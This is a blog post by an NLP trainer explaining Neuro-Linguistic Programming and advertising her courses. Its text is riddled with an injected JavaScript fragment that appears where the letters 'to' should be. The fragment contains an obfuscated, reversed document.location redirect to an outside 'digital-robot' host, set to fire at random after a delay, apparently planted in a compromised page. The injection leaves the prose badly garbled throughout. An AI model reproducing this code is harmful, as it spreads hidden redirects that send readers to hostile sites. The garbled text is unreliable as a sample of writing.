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I’m often asked: “What Is NLP?”

Neuro-Linguistic Programming or NLP is a set of amazing life-skills tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to help you be the best you can be, in each and every aspect of your life.

The name NLP sounds like jargon, but it’s actually quite simple:

  • Neuro is all about your brain and your body, and how they work tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}together. After all, your brain and body are your raw materials. They are all you have, so you might as well use them in the best way that you can.
  • Linguistic is all about the way we talk tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to ourselves and talk tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to each other, and communicating in a way that makes the biggest difference.
  • Programming simply means the habits and patterns that you repeat in life. If they’re working, keep doing them. And when they’re not helping, change them by re-programming.

What are “programmes” and why might I want tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to change them?

We have all sorts of programmes, which are the habits and behaviours that you do without thinking. Some of the programmes that you might want tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to change would include:

  • problematic behaviours, such as nail-biting or smoking
  • negative thoughts, such as worry or self-doubt
  • unhelpful emotions, such as fear, regret or anxiety
  • self-limiting beliefs, such as imposter syndrome or unworthiness
  • unresourceful responses, such as phobias, or losing your temper

Each of these programmes can be replaced with more helpful programmes. With the help of NLP, you can install healthy habits, positive thoughts, helpful emotions, empowering beliefs and resourceful responses.

For example, in a recent blog article I wrote about how you can change self-limiting beliefs intobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to self-empowering beliefs.

How can I benefit from NLP?

When people ask me “What is NLP?”, I love tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to tell them about the ways that you can make massive changes in your life with NLP:

  • Instead of relationship difficulties, you can build strong relationships
  • Stobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}top having self-doubt, and develop self-confidence instead
  • Go from conflicts at work, tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to clarity and ease at work
  • Instead of challenging kids, you can be a better parent
  • Move from a poor work-life balance, tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to achieving a life balance that suits you
  • Instead of bad diet and fitness habits, you can choose and stick tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to healthy habits
  • Stobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}top procrastinating, and start tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be motivated and take action

And much, much more…

How have others benefited from NLP?

NLP skills are easy tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to learn and easy tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to apply in all areas of your life. And they make a massive difference. Here are just a few examples of real-life results that people (including me) have got from learning NLP:

  • repaired a failing marriage, and recreated the loving relationship that had fallen apart
  • found the job of their dreams
  • helped their child that was being bullied in order tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to develop her self-confidence at school
  • built up the courage tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to ask for a big promotion, and then get it
  • become a better manager, and learned the skills tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to relate tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to staff, colleagues and suppliers more confidently
  • adjusted their work-life balance so they could have more time for family and hobbies
  • overcame life-limiting phobias, including a dog-phobia and even a telephone-phobia
  • resolved the problems in their relationship with their boss
  • tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}took control of their eating patterns, and then get fit and healthy
  • gone from a couch potatobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to being a regular marathon runner
  • overcame procrastination and self-doubt and started up a successful business
  • and one of my graduates even gave up his unfulfilling job and became a professional poker-player!

How can I learn more about NLP?

You could watch my free series of mini-videos on “What is NLP?”.

Or take a free self-study introduction tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to NLP called “5 Ways tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to Change Your Life for the Better”.

You can learn the foundation skills of NLP on my NLP Diploma; a 4 day course in the foundation skills of NLP. Find out more about the NLP Diploma here.

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Did you like this article? Would you like tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to receive regular articles like this, plus NLP tips and techniques and more from me?  Please anding/u9d8h2″ target=”_blank” rel=”noopener”>sign up tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to my emails where I share NLP related stobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tories, tips and techniques for changing your life for the better, and more.

 

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About Madeleine Allen:  The author is a specialist in Leadership,  Communication and Personal Development for business professionals.  An NLP Trainer and Master Practitioner she conducts in-house corporate training (learn more at www.allentraining.co.uk) and public courses in NLP (learn more at www.brightlightnlp.com)

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